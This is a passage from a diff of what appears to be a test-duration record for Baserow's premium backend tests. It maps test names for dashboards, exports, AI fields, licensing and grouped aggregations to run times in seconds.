"baserow_premium_tests/dashboard/test_dashboard_application_types_charts.py::test_dashboard_import_serialized_with_widgets": 0.15572891602641903, + "baserow_premium_tests/dashboard/test_pie_chart_widget_type.py::test_create_pie_chart_widget_creates_data_source": 0.1080675830016844, + "baserow_premium_tests/dashboard/test_pie_chart_widget_type.py::test_dashboard_export_serialized_with_pie_chart_widget_config": 0.1546848330181092, + "baserow_premium_tests/dashboard/test_pie_chart_widget_type.py::test_dashboard_import_serialized_with_pie_chart_widget_config": 0.1600125830154866, + "baserow_premium_tests/dashboard/test_pie_chart_widget_type.py::test_pie_chart_widget_datasource_cannot_be_deleted": 0.1421018749824725, + "baserow_premium_tests/dashboard/test_pie_chart_widget_type.py::test_pie_chart_widget_trash_restore": 0.11182562500471249, + "baserow_premium_tests/export/test_premium_export_types.py::test_can_export_every_interesting_different_field_to_excel": 7.575446584000019, + "baserow_premium_tests/export/test_premium_export_types.py::test_can_export_every_interesting_different_field_to_excel_without_header": 7.120047542004613, + "baserow_premium_tests/export/test_premium_export_types.py::test_can_export_every_interesting_different_field_to_json": 6.6721946250181645, + "baserow_premium_tests/export/test_premium_export_types.py::test_can_export_every_interesting_different_field_to_xml": 7.712640792015009, + "baserow_premium_tests/export/test_premium_export_types.py::test_can_trigger_export_files_with_premium_license": 0.16708220797590911, + "baserow_premium_tests/export/test_premium_export_types.py::test_cannnot_trigger_export_files_without_premium_license_for_group": 0.12489095798810013, + "baserow_premium_tests/export/test_premium_export_types.py::test_cannot_export_excel_without_premium_license_for_group": 6.750283207977191, + "baserow_premium_tests/export/test_premium_export_types.py::test_cannot_export_json_without_premium_license": 5.750599541992415, + "baserow_premium_tests/export/test_premium_export_types.py::test_cannot_export_json_without_premium_license_for_group": 4.776013583003078, + "baserow_premium_tests/export/test_premium_export_types.py::test_cannot_export_xml_without_premium_license": 5.985739832016407, + "baserow_premium_tests/export/test_premium_export_types.py::test_cannot_export_xml_without_premium_license_for_group": 6.370198791031726, + "baserow_premium_tests/export/test_premium_export_types.py::test_cannot_trigger_export_files_without_premium_license": 0.11497529200278223, + "baserow_premium_tests/export/test_premium_export_types.py::test_export_empty_files_does_not_fail": 0.14919983301660977, + "baserow_premium_tests/export/test_premium_export_types.py::test_export_non_empty_files_flat": 0.20160724999732338, + "baserow_premium_tests/export/test_premium_export_types.py::test_export_non_empty_files_group_by_row": 0.18993983397376724, + "baserow_premium_tests/export/test_premium_export_types.py::test_if_duplicate_field_names_json_export": 0.1738207930175122, + "baserow_premium_tests/export/test_premium_export_types.py::test_if_xml_duplicate_name_and_value_are_escaped": 0.21251608300372027, + "baserow_premium_tests/export/test_premium_export_utils.py::test_get_unique_name": 0.012705248984275386, + "baserow_premium_tests/export/test_premium_export_utils.py::test_safe_xml_tag_name": 0.012863542011473328, + "baserow_premium_tests/export/test_premium_export_utils.py::test_to_xml": 0.012415248958859593, + "baserow_premium_tests/fields/test_ai_field_filters.py::test_ai_field_choice_output_is_compatible_with_select_filters": 0.1167234169843141, + "baserow_premium_tests/fields/test_ai_field_filters.py::test_ai_field_choice_output_not_compatible_with_text_only_filters": 0.12592345802113414, + "baserow_premium_tests/fields/test_ai_field_filters.py::test_ai_field_choice_output_supports_empty_filter": 0.17547170899342746, + "baserow_premium_tests/fields/test_ai_field_filters.py::test_ai_field_choice_output_supports_not_empty_filter": 0.18854533397825435, + "baserow_premium_tests/fields/test_ai_field_filters.py::test_ai_field_choice_output_supports_single_select_equal_filter": 0.17661758299800567, + "baserow_premium_tests/fields/test_ai_field_filters.py::test_ai_field_choice_output_supports_single_select_is_any_of_filter": 0.16970474997651763, + "baserow_premium_tests/fields/test_ai_field_filters.py::test_ai_field_choice_output_supports_single_select_is_none_of_filter": 0.15619429101934657, + "baserow_premium_tests/fields/test_ai_field_filters.py::test_ai_field_choice_output_supports_single_select_not_equal_filter": 0.17772874896763824, + "baserow_premium_tests/fields/test_ai_field_filters.py::test_ai_field_is_compatible_with_text_filters": 0.12073516502277926, + "baserow_premium_tests/fields/test_ai_field_filters.py::test_ai_field_text_output_equal_filter_with_numeric_string": 0.17425949999596924, + "baserow_premium_tests/fields/test_ai_field_filters.py::test_ai_field_text_output_supports_contains_filter": 0.16368874901672825, + "baserow_premium_tests/fields/test_ai_field_filters.py::test_ai_field_text_output_supports_contains_not_filter": 0.17994783399626613, + "baserow_premium_tests/fields/test_ai_field_filters.py::test_ai_field_text_output_supports_contains_word_filter": 0.1612717489770148, + "baserow_premium_tests/fields/test_ai_field_filters.py::test_ai_field_text_output_supports_empty_filter": 0.16433395794592798, + "baserow_premium_tests/fields/test_ai_field_filters.py::test_ai_field_text_output_supports_equal_filter": 0.1637769179942552, + "baserow_premium_tests/fields/test_ai_field_filters.py::test_ai_field_text_output_supports_length_is_lower_than_filter": 0.16086724898195826, + "baserow_premium_tests/fields/test_ai_field_filters.py::test_ai_field_text_output_supports_not_empty_filter": 0.17225720701389946, + "baserow_premium_tests/fields/test_ai_field_filters.py::test_ai_field_text_output_supports_not_equal_filter": 0.16875604196684435, + "baserow_premium_tests/fields/test_ai_field_handler.py::test_generate_formula": 0.1320906670007389, + "baserow_premium_tests/fields/test_ai_field_handler.py::test_generate_formula_generative_ai_does_not_exist": 0.11263983300887048, + "baserow_premium_tests/fields/test_ai_field_handler.py::test_generate_formula_model_does_not_belong_to_type": 0.11389020795468241, + "baserow_premium_tests/fields/test_ai_field_handler.py::test_generate_formula_output_parser_error": 6.078298291977262, + "baserow_premium_tests/fields/test_ai_field_models.py::test_dynamic_get_attr": 0.04536212602397427, + "baserow_premium_tests/fields/test_ai_field_output_types.py::test_choice_output_type": 0.19202808401314542, + "baserow_premium_tests/fields/test_ai_field_output_types.py::test_strict_enum_output_parser": 0.012858041998697445, "baserow_premium_tests/fields/test_ai_field_tasks.py::test_generate_ai_field_value_view_generative_ai": 0.1720021249993806, "baserow_premium_tests/fields/test_ai_field_tasks.py::test_generate_ai_field_value_view_generative_ai_invalid_field": 0.17352191600002698, "baserow_premium_tests/fields/test_ai_field_tasks.py::test_generate_ai_field_value_view_generative_ai_invalid_prompt": 0.16682987499916635, "baserow_premium_tests/fields/test_ai_field_tasks.py::test_generate_ai_field_value_view_generative_ai_parse_formula": 0.17949933199997758, "baserow_premium_tests/fields/test_ai_field_tasks.py::test_generate_ai_field_value_view_generative_ai_with_files": 0.1759308749997217, - "baserow_premium_tests/fields/test_ai_field_type.py::test_create_ai_field_type": 0.16235358200083283, - "baserow_premium_tests/fields/test_ai_field_type.py::test_create_ai_field_type_via_api": 0.16777554099917324, - "baserow_premium_tests/fields/test_ai_field_type.py::test_create_ai_field_type_via_api_file_field_compatible": 0.1728269180002826, - "baserow_premium_tests/fields/test_ai_field_type.py::test_create_ai_field_type_via_api_file_field_doesnt_exist": 0.15704841599927022, - "baserow_premium_tests/fields/test_ai_field_type.py::test_create_ai_field_type_via_api_file_field_not_compatible": 0.1600468760007061, - "baserow_premium_tests/fields/test_ai_field_type.py::test_create_ai_field_type_via_api_invalid_formula": 0.14966529199955403, - "baserow_premium_tests/fields/test_ai_field_type.py::test_create_ai_field_type_via_api_with_invalid_model": 0.15596162499969068, - "baserow_premium_tests/fields/test_ai_field_type.py::test_create_ai_field_type_via_api_with_invalid_type": 0.1565361250004571, - "baserow_premium_tests/fields/test_ai_field_type.py::test_delete_ai_field_type": 0.16015308299938624, - "baserow_premium_tests/fields/test_ai_field_type.py::test_update_ai_field_type": 0.16503870799988363, - "baserow_premium_tests/fields/test_ai_field_type.py::test_update_ai_field_type_via_api_file_field_compatible": 0.19342108399996505, - "baserow_premium_tests/fields/test_ai_field_type.py::test_update_ai_field_type_via_api_file_field_doesnt_exist": 0.16518841800007067, - "baserow_premium_tests/fields/test_ai_field_type.py::test_update_ai_field_type_via_api_file_field_not_compatible": 0.1604745830009051, - "baserow_premium_tests/fields/test_ai_field_type.py::test_update_ai_field_type_via_api_with_invalid_model": 0.15907999999944877, - "baserow_premium_tests/fields/test_ai_field_type.py::test_update_ai_field_type_via_api_with_invalid_type": 0.1573706260005565, - "baserow_premium_tests/fields/test_ai_field_type.py::test_update_ai_field_type_via_api_with_valid_model": 0.2105375000019194, - "baserow_premium_tests/generative_ai/test_managers.py::test_upload_files_from_file_field": 0.1616654990002644, - "baserow_premium_tests/generative_ai/test_managers.py::test_upload_files_from_file_field_skip_files_over_max_size": 0.16026183299891272, - "baserow_premium_tests/license/test_license_handler.py::test_add_active_licenses_to_settings": 0.20861699899978703, - "baserow_premium_tests/license/test_license_handler.py::test_add_user_to_license": 0.5926015010008996, - "baserow_premium_tests/license/test_license_handler.py::test_check_active_premium_license_for_workspace_with_license_pretending_to_be_site_wide": 0.42438570800004527, - "baserow_premium_tests/license/test_license_handler.py::test_check_active_premium_license_for_workspace_with_per_workspace_licenses": 0.14406258300004993, - "baserow_premium_tests/license/test_license_handler.py::test_check_active_premium_license_for_workspace_with_valid_license": 0.17912395700022898, - "baserow_premium_tests/license/test_license_handler.py::test_check_licenses_update_instance_wide": 0.03457116600020527, - "baserow_premium_tests/license/test_license_handler.py::test_check_licenses_with_authority_check": 0.03409720799936622, - "baserow_premium_tests/license/test_license_handler.py::test_check_licenses_without_authority_check": 0.5422806249998757, - "baserow_premium_tests/license/test_license_handler.py::test_decode_license_with_valid_license": 0.009102709002036136, - "baserow_premium_tests/license/test_license_handler.py::test_fetch_license_status_in_production_mode": 0.011321332999614242, - "baserow_premium_tests/license/test_license_handler.py::test_fetch_license_status_with_authority": 0.010885458998927788, - "baserow_premium_tests/license/test_license_handler.py::test_fetch_license_status_with_authority_invalid_response": 0.010925165998742159, - "baserow_premium_tests/license/test_license_handler.py::test_fetch_license_status_with_authority_unavailable": 0.014298291999693902, - "baserow_premium_tests/license/test_license_handler.py::test_fill_remaining_seats_in_license": 0.7308392909990289, - "baserow_premium_tests/license/test_license_handler.py::test_get_public_key_debug": 0.010368834002292715, - "baserow_premium_tests/license/test_license_handler.py::test_get_public_key_production": 0.00903320699944743, - "baserow_premium_tests/license/test_license_handler.py::test_has_active_premium_license": 0.601283250999586, - "baserow_premium_tests/license/test_license_handler.py::test_invalid_signature_decode_license": 0.010028250000686967, - "baserow_premium_tests/license/test_license_handler.py::test_register_an_older_license": 0.16387391600164847, - "baserow_premium_tests/license/test_license_handler.py::test_register_license": 0.3304880840005353, - "baserow_premium_tests/license/test_license_handler.py::test_register_license_with_authority_check_does_not_exist": 0.1634115409997321, - "baserow_premium_tests/license/test_license_handler.py::test_register_license_with_authority_check_instance_id_mismatch": 0.16067574999942735, - "baserow_premium_tests/license/test_license_handler.py::test_register_license_with_authority_check_invalid": 0.15724416600187396, - "baserow_premium_tests/license/test_license_handler.py::test_register_license_with_authority_check_ok": 0.1608094590010296, - "baserow_premium_tests/license/test_license_handler.py::test_register_license_with_authority_check_updated": 0.16262662400094996, - "baserow_premium_tests/license/test_license_handler.py::test_remove_all_users_from_license": 0.5951062919984906, - "baserow_premium_tests/license/test_license_handler.py::test_remove_license": 0.40012704099990515, - "baserow_premium_tests/license/test_license_handler.py::test_remove_user_from_license": 0.46373741700153914, - "baserow_premium_tests/license/test_license_handler.py::test_unsupported_version_decode_license": 0.008284040997750708, - "baserow_premium_tests/license/test_license_handler.py::test_upgrade_license_by_register": 0.16141345800042473, - "baserow_premium_tests/license/test_license_models.py::test_premium_license_model_is_active": 0.07091008299994428, - "baserow_premium_tests/license/test_license_models.py::test_premium_license_model_properties": 0.01116541600003984, - "baserow_premium_tests/license/test_license_models.py::test_premium_license_model_save": 0.011856416999762587, - "baserow_premium_tests/license/test_license_tasks.py::test_license_check": 0.011085082001045521, - "baserow_premium_tests/premium/test_premium_installed.py::test_premium_app_installed": 0.009025043001201993, + "baserow_premium_tests/fields/test_ai_field_type.py::test_ai_field_can_be_used_in_lookup_expression": 0.1777292919869069, + "baserow_premium_tests/fields/test_ai_field_type.py::test_ai_field_type_check_can_filter_by": 0.11764475001837127, + "baserow_premium_tests/fields/test_ai_field_type.py::test_can_convert_from_choice_output_type_to_text_output_type": 0.1615515829762444, + "baserow_premium_tests/fields/test_ai_field_type.py::test_can_convert_from_text_field_to_choice_output_type": 0.1702030409942381, + "baserow_premium_tests/fields/test_ai_field_type.py::test_can_convert_from_text_field_to_text_output_type": 0.16652166802668944, + "baserow_premium_tests/fields/test_ai_field_type.py::test_can_convert_from_text_output_type_to_choice_output_type": 0.17112941699451767, + "baserow_premium_tests/fields/test_ai_field_type.py::test_can_convert_from_text_output_type_to_text_field": 0.276377041998785, + "baserow_premium_tests/fields/test_ai_field_type.py::test_can_set_select_options_to_choice_ai_output_type": 0.24162199997226708, + "baserow_premium_tests/fields/test_ai_field_type.py::test_create_ai_field_auto_doesnt_update_user_if_set": 0.2347897499857936, + "baserow_premium_tests/fields/test_ai_field_type.py::test_create_ai_field_auto_update_user": 0.1641485420113895, + "baserow_premium_tests/fields/test_ai_field_type.py::test_create_ai_field_type": 0.15999962398200296, + "baserow_premium_tests/fields/test_ai_field_type.py::test_create_ai_field_type_via_api": 0.14121333399089053, + "baserow_premium_tests/fields/test_ai_field_type.py::test_create_ai_field_type_via_api_file_field_compatible": 0.14620241700322367, + "baserow_premium_tests/fields/test_ai_field_type.py::test_create_ai_field_type_via_api_file_field_doesnt_exist": 0.13071529200533405, + "baserow_premium_tests/fields/test_ai_field_type.py::test_create_ai_field_type_via_api_file_field_not_compatible": 0.13785445800749585, + "baserow_premium_tests/fields/test_ai_field_type.py::test_create_ai_field_type_via_api_invalid_formula": 0.12296837501344271, + "baserow_premium_tests/fields/test_ai_field_type.py::test_create_ai_field_type_via_api_with_ai_output_type": 0.15694554196670651, + "baserow_premium_tests/fields/test_ai_field_type.py::test_create_ai_field_type_via_api_with_invalid_model": 0.12744545796886086, + "baserow_premium_tests/fields/test_ai_field_type.py::test_create_ai_field_type_via_api_with_invalid_type": 0.1296219569630921, + "baserow_premium_tests/fields/test_ai_field_type.py::test_create_ai_field_type_via_api_with_non_existing_ai_output_type": 0.17401212599361315, + "baserow_premium_tests/fields/test_ai_field_type.py::test_create_ai_field_type_with_temperature_validations_via_api": 0.12781079197884537, + "baserow_premium_tests/fields/test_ai_field_type.py::test_create_ai_field_type_with_temperature_via_api": 0.14854100000229664, + "baserow_premium_tests/fields/test_ai_field_type.py::test_create_ai_field_with_references": 0.16665754100540653, + "baserow_premium_tests/fields/test_ai_field_type.py::test_delete_ai_field_type": 0.14544087401009165, + "baserow_premium_tests/fields/test_ai_field_type.py::test_duplicate_table_with_ai_field": 0.19667799898888916, + "baserow_premium_tests/fields/test_ai_field_type.py::test_duplicate_table_with_ai_field_broken_references": 0.17984062500181608, + "baserow_premium_tests/fields/test_ai_field_type.py::test_formula_field_can_reference_ai_choice_output_without_error": 0.16346641699783504, + "baserow_premium_tests/fields/test_ai_field_type.py::test_link_row_field_can_be_sorted_when_linking_an_ai_field": 0.3662332510284614, + "baserow_premium_tests/fields/test_ai_field_type.py::test_should_backup": 0.06378725101239979, + "baserow_premium_tests/fields/test_ai_field_type.py::test_update_ai_field_temperature_none_via_api": 0.16056920800474472, + "baserow_premium_tests/fields/test_ai_field_type.py::test_update_ai_field_type": 0.13011537498096004, + "baserow_premium_tests/fields/test_ai_field_type.py::test_update_ai_field_type_via_api_file_field_compatible": 0.14350216599996202, + "baserow_premium_tests/fields/test_ai_field_type.py::test_update_ai_field_type_via_api_file_field_doesnt_exist": 0.1457286259974353, + "baserow_premium_tests/fields/test_ai_field_type.py::test_update_ai_field_type_via_api_file_field_not_compatible": 0.146309709030902, + "baserow_premium_tests/fields/test_ai_field_type.py::test_update_ai_field_type_via_api_with_invalid_model": 0.13262858398957178, + "baserow_premium_tests/fields/test_ai_field_type.py::test_update_ai_field_type_via_api_with_invalid_type": 0.1431384989991784, + "baserow_premium_tests/fields/test_ai_field_type.py::test_update_ai_field_type_via_api_with_valid_model": 0.20253987502655946, + "baserow_premium_tests/fields/test_ai_field_type.py::test_update_ai_field_via_api_invalid_output_type": 0.12872637499822304, + "baserow_premium_tests/fields/test_ai_field_type.py::test_update_ai_field_via_api_valid_output_type": 0.16021037503378466, + "baserow_premium_tests/fields/test_ai_field_type.py::test_update_to_ai_field_with_all_parameters": 0.15891083399765193, + "baserow_premium_tests/fields/test_ai_field_type.py::test_update_to_ai_field_without_parameters": 0.16176479202113114, + "baserow_premium_tests/fields/test_ai_field_visitors.py::test_field_id_references_invalid_formula": 0.013727292011026293, + "baserow_premium_tests/fields/test_ai_field_visitors.py::test_field_id_references_invalid_id": 0.012710624985629693, + "baserow_premium_tests/fields/test_ai_field_visitors.py::test_replace_field_id_references": 0.012652916979277506, + "baserow_premium_tests/fields/test_ai_field_visitors.py::test_replace_multiple_field_id_references": 0.01277166698127985, + "baserow_premium_tests/fields/test_generate_ai_values_job_execution.py::test_job_execution_empty_string_vs_null": 0.1889028339937795, + "baserow_premium_tests/fields/test_generate_ai_values_job_execution.py::test_job_execution_handles_errors": 0.15837575000477955, + "baserow_premium_tests/fields/test_generate_ai_values_job_execution.py::test_job_execution_only_empty_rows_mode": 0.1797822079679463, + "baserow_premium_tests/fields/test_generate_ai_values_job_execution.py::test_job_execution_only_empty_table_mode": 0.15239674999611452, + "baserow_premium_tests/fields/test_generate_ai_values_job_execution.py::test_job_execution_only_empty_view_mode": 0.20026324898935854, + "baserow_premium_tests/fields/test_generate_ai_values_job_execution.py::test_job_execution_rows_mode": 0.17466879202402197, + "baserow_premium_tests/fields/test_generate_ai_values_job_execution.py::test_job_execution_table_mode": 0.1728274170018267, + "baserow_premium_tests/fields/test_generate_ai_values_job_execution.py::test_job_execution_view_mode": 0.2098274570016656, + "baserow_premium_tests/fields/test_generate_ai_values_job_execution.py::test_job_progress_tracking": 0.21016945896553807, + "baserow_premium_tests/fields/test_generate_ai_values_job_type.py::test_create_job_rows_mode": 0.14673308306373656, + "baserow_premium_tests/fields/test_generate_ai_values_job_type.py::test_create_job_table_mode": 0.1443146670353599, + "baserow_premium_tests/fields/test_generate_ai_values_job_type.py::test_create_job_view_mode": 0.15154474996961653, + "baserow_premium_tests/fields/test_generate_ai_values_job_type.py::test_create_job_view_mode_with_different_table_view": 0.13233437499729916, + "baserow_premium_tests/fields/test_generate_ai_values_job_type.py::test_create_job_with_nonexistent_field": 0.09134375100256875, + "baserow_premium_tests/fields/test_generate_ai_values_job_type.py::test_create_job_with_nonexistent_rows": 0.11897233195486479, + "baserow_premium_tests/fields/test_generate_ai_values_job_type.py::test_create_job_with_nonexistent_view": 0.12427124998066574, + "baserow_premium_tests/fields/test_generate_ai_values_job_type.py::test_create_job_with_only_empty_flag_rows_mode": 0.1421009580080863, + "baserow_premium_tests/fields/test_generate_ai_values_job_type.py::test_create_job_with_only_empty_flag_table_mode": 0.13994408294092864, + "baserow_premium_tests/fields/test_generate_ai_values_job_type.py::test_create_job_with_only_empty_flag_view_mode": 0.15857354100444354, + "baserow_premium_tests/fields/test_generate_ai_values_job_type.py::test_create_job_with_partial_invalid_rows": 0.13822100101970136, + "baserow_premium_tests/fields/test_generate_ai_values_job_type.py::test_generate_ai_field_auto_update_without_user": 0.49065825101570226, + "baserow_premium_tests/fields/test_generate_ai_values_job_type.py::test_generate_ai_field_no_user_task_executed": 0.42745108300005086, + "baserow_premium_tests/fields/test_generate_ai_values_job_type.py::test_generate_ai_field_value_auto_update": 0.3947219180117827, + "baserow_premium_tests/fields/test_generate_ai_values_job_type.py::test_generate_ai_field_value_auto_update_no_license_user": 0.4008715410309378, + "baserow_premium_tests/fields/test_generate_ai_values_job_type.py::test_generate_ai_field_value_no_auto_update": 0.3900677500059828, + "baserow_premium_tests/fields/test_generate_ai_values_job_type.py::test_generate_ai_field_value_view_generative_ai": 0.16582170798210427, + "baserow_premium_tests/fields/test_generate_ai_values_job_type.py::test_generate_ai_field_value_view_generative_ai_invalid_field": 0.17215145801310427, + "baserow_premium_tests/fields/test_generate_ai_values_job_type.py::test_generate_ai_field_value_view_generative_ai_invalid_prompt": 0.15934691700385883, + "baserow_premium_tests/fields/test_generate_ai_values_job_type.py::test_generate_ai_field_value_view_generative_ai_parse_formula": 0.17058395899948664, + "baserow_premium_tests/fields/test_generate_ai_values_job_type.py::test_generate_ai_field_value_view_generative_ai_with_files": 0.15966962499078363, + "baserow_premium_tests/fields/test_generate_ai_values_job_type.py::test_generate_ai_field_value_view_generative_ai_with_temperature": 0.16168116696644574, + "baserow_premium_tests/fields/test_generate_ai_values_job_type.py::test_job_limiting_not_applied_to_rows_mode": 0.5284758749767207, + "baserow_premium_tests/fields/test_generate_ai_values_job_type.py::test_job_limiting_table_or_view_mode[0]": 0.3467928759928327, + "baserow_premium_tests/fields/test_generate_ai_values_job_type.py::test_job_limiting_table_or_view_mode[1]": 0.40049795899540186, + "baserow_premium_tests/fields/test_generate_ai_values_job_type.py::test_mode_property_returns_correct_mode": 0.25435933301923797, + "baserow_premium_tests/generative_ai/test_managers.py::test_upload_files_from_file_field": 0.1317378330277279, + "baserow_premium_tests/generative_ai/test_managers.py::test_upload_files_from_file_field_skip_files_over_max_size": 0.14051075099268928, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_create_grouped_aggregate_rows_service": 0.153628708969336, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_create_grouped_aggregate_rows_service_duplicate_series": 0.14757495903177187, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_create_grouped_aggregate_rows_service_group_by_field_not_compatible": 0.14186054104357027, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_create_grouped_aggregate_rows_service_group_by_field_not_in_table": 0.14672420799615793, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_create_grouped_aggregate_rows_service_max_group_bys_exceeded": 0.15981916702003218, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_create_grouped_aggregate_rows_service_max_series_exceeded": 0.15839891700306907, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_create_grouped_aggregate_rows_service_no_data": 0.019027584028663114, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_create_grouped_aggregate_rows_service_series_agg_type_doesnt_exist": 0.14246545798960142, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_create_grouped_aggregate_rows_service_series_field_not_in_table": 0.15685791600844823, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_create_grouped_aggregate_rows_service_series_incompatible_aggregation_type": 0.1433977090055123, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_create_grouped_aggregate_rows_service_sort_by_field_outside_of_series_group_bys": 0.15057933400385082, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_create_grouped_aggregate_rows_service_sort_by_primary_field_no_group_by": 0.14803120802389458, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_create_grouped_aggregate_rows_service_sort_by_primary_field_with_group_by": 0.15791795798577368, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_dispatch_grouped_aggregate_rows_service_duplicate_series": 0.14522974999272265, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_grouped_aggregate_rows_service_agg_series_field_trashed": 0.13926541700493544, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_grouped_aggregate_rows_service_dispatch": 0.16882941697258502, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_grouped_aggregate_rows_service_dispatch_1_bucket": 0.1602039169811178, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_grouped_aggregate_rows_service_dispatch_1_other_bucket": 0.17261879201396368, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_grouped_aggregate_rows_service_dispatch_aggregation_type_doesnt_exist": 0.15387962499517016, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_grouped_aggregate_rows_service_dispatch_group_by": 0.15770112501922995, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_grouped_aggregate_rows_service_dispatch_group_by_id": 0.1515899580263067, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_grouped_aggregate_rows_service_dispatch_incompatible_aggregation": 0.14414099900750443, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_grouped_aggregate_rows_service_dispatch_max_buckets_sort_on_group_by_field": 0.16697050098446198, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_grouped_aggregate_rows_service_dispatch_max_buckets_sort_on_primary_field": 0.1687679169990588, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_grouped_aggregate_rows_service_dispatch_max_buckets_sort_on_series": 0.16958958201576024, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_grouped_aggregate_rows_service_dispatch_no_series": 0.12989483401179314, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_grouped_aggregate_rows_service_dispatch_not_within_max_buckets_no_sort": 0.17720429200562648, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_grouped_aggregate_rows_service_dispatch_not_within_max_buckets_sort_group_by": 0.16735837497981265, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_grouped_aggregate_rows_service_dispatch_not_within_max_buckets_sort_on_series": 0.17323087499244139, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_grouped_aggregate_rows_service_dispatch_same_agg_fields": 0.16529495795839466, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_grouped_aggregate_rows_service_dispatch_sort_by_field_outside_series_or_group_bys": 0.14525900100125, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_grouped_aggregate_rows_service_dispatch_sort_by_group_by_field": 0.16750279199914075, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_grouped_aggregate_rows_service_dispatch_sort_by_group_by_row_id": 0.16411183297168463, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_grouped_aggregate_rows_service_dispatch_sort_by_primary_field_group_by_another_field": 0.15600266700494103, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_grouped_aggregate_rows_service_dispatch_sort_by_primary_field_no_group_by": 0.1458032920199912, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_grouped_aggregate_rows_service_dispatch_sort_by_series_with_group_by": 0.1681340839713812, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_grouped_aggregate_rows_service_dispatch_sort_by_series_with_group_by_ignore_view_sort": 0.17680883401772007, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_grouped_aggregate_rows_service_dispatch_sort_by_series_with_group_by_row_id": 0.17186441700323485, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_grouped_aggregate_rows_service_dispatch_sort_by_series_without_group_by": 0.17285116598941386, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_grouped_aggregate_rows_service_dispatch_with_service_filters": 0.15144558300380595, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_grouped_aggregate_rows_service_dispatch_with_total_aggregation": 0.16473700097412802, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_grouped_aggregate_rows_service_dispatch_with_view": 0.15564487501978874, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_grouped_aggregate_rows_service_dispatch_within_max_buckets": 0.16644579099374823, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_grouped_aggregate_rows_service_export_serialized": 0.1413276249950286, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_grouped_aggregate_rows_service_get_schema_name": 0.012924374983413145, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_grouped_aggregate_rows_service_group_by_field_not_compatible": 0.13828450001892634, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_grouped_aggregate_rows_service_group_by_field_trashed": 0.1349006240197923, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_grouped_aggregate_rows_service_import_serialized": 0.1610149990010541, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_grouped_aggregate_rows_service_table_trashed": 0.12568487398675643, + "baserow_premium_tests/integrations/local_baserow/service_types/test_grouped_aggregate_rows_service_type.py::test_update_grouped_aggregate_rows_service": 0.17584712398820557, + 